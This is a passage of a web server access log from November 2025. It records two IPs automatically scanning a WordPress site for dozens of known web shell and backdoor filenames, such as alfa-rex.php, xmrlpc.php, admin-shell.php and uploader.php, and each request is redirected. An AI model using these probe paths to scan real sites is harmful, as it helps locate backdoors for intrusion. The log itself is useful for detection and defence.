wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:49:25 +0330] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:49:26 +0330] "GET /repeater.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:49:53 +0330] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:50:02 +0330] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:50:05 +0330] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:50:13 +0330] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:50:37 +0330] "GET /.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:50:42 +0330] "GET /wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:50:45 +0330] "GET /xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:50:47 +0330] "GET /cgi-bin/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:50:49 +0330] "GET /css/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:50:54 +0330] "GET /wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:51:02 +0330] "GET /wp-admin/css/colors/coffee/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:51:25 +0330] "GET /images/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:51:28 +0330] "GET /wp-admin/js/widgets/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:51:31 +0330] "GET /wp-admin/css/colors/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:51:34 +0330] "GET /wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:51:40 +0330] "GET /wp-admin/css/colors/blue/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:51:42 +0330] "GET /wp-admin/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:50:33 +0330] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:50:59 +0330] "GET /img/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:51:19 +0330] "GET /wp-admin/images/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:51:44 +0330] "GET /wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:51:47 +0330] "GET /wp-content/plugins/wordpresss3cll/includes.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:51:51 +0330] "GET /403.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:51:55 +0330] "GET /wp-content/themes/intense/block-css.php?mode=upload HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:52:00 +0330] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:52:03 +0330] "GET /wp-content/themes/wp-pridmag/up.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 86.120.48.60 - - [04/Nov/2025:19:55:55 +0330] "GET /aws-ses.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:56:05 +0330] "GET /fix.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:56:12 +0330] "GET /link.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:56:25 +0330] "GET /psm.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:56:42 +0330] "GET /f35.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:56:45 +0330] "GET /izin.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:56:47 +0330] "GET /legion.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:56:49 +0330] "GET /sergey.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:56:54 +0330] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:57:00 +0330] "GET /%20acp.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:57:04 +0330] "GET /as.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:57:09 +0330] "GET /wpc.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:57:16 +0330] "GET /wp-includes/IXR/index.php?p= HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:57:17 +0330] "GET /wp-includes/js/login.php?p= HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:57:20 +0330] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:57:22 +0330] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:57:25 +0330] "GET /wp-includes/ID3/goat.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:57:29 +0330] "GET /wp-admin/js/widgets/past.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:57:31 +0330] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:57:35 +0330] "GET /wp-admin/css/colors/blue/wp-signin.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:57:39 +0330] "GET /old.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:57:41 +0330] "GET /in.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:57:44 +0330] "GET /themes.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:57:46 +0330] "GET /33.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:57:49 +0330] "GET /akcc.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:57:55 +0330] "GET /x/v1.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 118.67.205.4 - - [04/Nov/2025:19:51:59 +0330] "GET /.well-known/index.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 86.120.48.60 - - [04/Nov/2025:19:55:47 +0330] "GET /fix.phtml HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:55:50 +0330] "GET /bootstrap.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:55:58 +0330] "GET /as.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:56:01 +0330] "GET /ggs.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:56:08 +0330] "GET /dropdown.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:56:15 +0330] "GET /man.phtml HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:56:18 +0330] "GET /man.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:56:21 +0330] "GET /Boy.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:56:28 +0330] "GET /psm.html HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:56:51 +0330] "GET /ol.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:56:56 +0330] "GET /wp-includes/IXR/classwithtostring.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:56:57 +0330] "GET /ammika.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:57:01 +0330] "GET /akcc.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:57:06 +0330] "GET /atex1.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:57:07 +0330] "GET /ch.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:57:12 +0330] "GET /BDKR28WP.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:57:15 +0330] "GET /wp-includes/IXR/wp.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:57:19 +0330] "GET /wp-includes/js/load.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:57:23 +0330] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:57:26 +0330] "GET /wp-includes/ID3/rk3.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:57:28 +0330] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:57:32 +0330] "GET /wp-admin/css/colors/blue/acp.php?p= HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:57:50 +0330] "GET /atex1.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:57:54 +0330] "GET /x/wp-22.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:57:58 +0330] "GET /x/v3.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:58:02 +0330] "GET /x/v2.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:58:06 +0330] "GET /x/wp.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:58:09 +0330] "GET /403pypss.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:58:11 +0330] "GET /asu.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:58:20 +0330] "GET /ee.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:58:40 +0330] "GET /wp-admin/css/colors/blue/mygagal.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:58:42 +0330] "GET /wp-admin/css/colors/blue/image.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:58:43 +0330] "GET /wp-admin/css/colors/blue/mx.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:58:50 +0330] "GET /wp-admin/css/colors/wp-content-shell.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:58:04 +0330] "GET /x/style.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:58:08 +0330] "GET /gecko~ls.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:58:13 +0330] "GET /dogshit.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:58:15 +0330] "GET /Consol.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:58:18 +0330] "GET /b.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:58:22 +0330] "GET /saiga.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:58:25 +0330] "GET /amiga.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:58:27 +0330] "GET /file21.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:58:29 +0330] "GET /wp-admin/css/colors/blue/massd.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:58:31 +0330] "GET /wp-admin/css/colors/massd.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:58:34 +0330] "GET /wp-admin/css/massd.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:58:38 +0330] "GET /wp-admin/css/colors/blue/massd.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:58:39 +0330] "GET /wp-admin/css/colors/coffee/massd.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:58:45 +0330] "GET /wp-admin/css/colors/blue/uploader.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:58:47 +0330] "GET /wp-admin/css/colors/uploader.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:58:48 +0330] "GET /wp-admin/css/colors/wp-admin-shell.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:58:53 +0330] "GET /wp-admin/css/colors/wp-shell.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:58:57 +0330] "GET /wp-admin/css/colors/cpanel-shell.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:59:03 +0330] "GET /wp-admin/css/colors/1k.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:59:07 +0330] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:59:09 +0330] "GET /wp-admin/includes/rk2.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:59:20 +0330] "GET /.well-known/rk.4php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:59:42 +0330] "GET /z.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:59:50 +0330] "GET /wp-includes/great.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:59:58 +0330] "GET /wp-admin/css/colors/blue/massd.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:00:08 +0330] "GET /config-shell.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:00:13 +0330] "GET /mx.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:00:24 +0330] "GET /.well-known/in.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:00:36 +0330] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:00:46 +0330] "GET /wp-admin/css/errors.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:00:56 +0330] "GET /wp-content/themes/K2/js/k2.rollingarchives.js.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:01:01 +0330] "GET /wp-admin/css/colors/blue/colors.css.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:01:06 +0330] "GET /wp-content/plugins/tejwivc/index.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:58:56 +0330] "GET /wp-admin/css/colors/admin-shell.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:59:01 +0330] "GET /wp-admin/css/colors/uploader.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:59:04 +0330] "GET /wp-admin/includes/admin-shell.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:59:11 +0330] "GET /.well-known/rk1.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:59:13 +0330] "GET /.well-known/rk2.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:59:16 +0330] "GET /.well-known/rk3.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:59:23 +0330] "GET /.well-known/style.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:59:28 +0330] "GET /wp-content/uploads/2024/.cache/?key=mshell HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:59:32 +0330] "GET /wp-content/plugins/elementor/%20 HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:59:34 +0330] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:59:38 +0330] "GET /wolv.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:59:46 +0330] "GET /w1px.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:59:53 +0330] "GET /wp-includes/bypass.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:19:59:55 +0330] "GET /3.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:00:01 +0330] "GET /uuu.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:00:03 +0330] "GET /admin-shell.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:00:18 +0330] "GET /slpsygrt.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:00:28 +0330] "GET /wp-admin/network/codehu.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:00:32 +0330] "GET /wp-admin/css/colors/blue/wp-quintero.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:00:40 +0330] "GET /wp-admin/css/gjodjtap.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:00:50 +0330] "GET /wp-includes/wk/ HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:01:11 +0330] "GET /wp-content/plugins/ddnwrcp/index.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:01:29 +0330] "GET /wp-admin/includes/class-bulk-plugin-upgrader-skin-condition.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:01:44 +0330] "GET /wp-admin/css/aura.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:01:51 +0330] "GET /unity.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:02:10 +0330] "GET /manager.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:02:24 +0330] "GET /service.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:02:29 +0330] "GET /style.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:02:40 +0330] "GET /wsraw.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:03:03 +0330] "GET /wp-admin/js/widgets/contact.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:03:10 +0330] "GET /wp-admin/js/widgets/service.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:03:13 +0330] "GET /wp-admin/js/widgets/lock360.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:03:25 +0330] "GET /formate.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:03:34 +0330] "GET /wincust.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:01:20 +0330] "GET /wp-includes/class-wp-block-type-registry-index.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:01:25 +0330] "GET /wp-admin/includes/class-ftp-sockets-interface.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:01:34 +0330] "GET /wp-content/plugins/wp-reset/index-plain.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:01:38 +0330] "GET /pandawa.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:01:41 +0330] "GET /wp-admin/css/error_log.php HTTP/1.1" 301 795 "-" "python-httpx/0.28.1" 86.120.48.60 - - [04/Nov/2025:20:01:47 +0330] 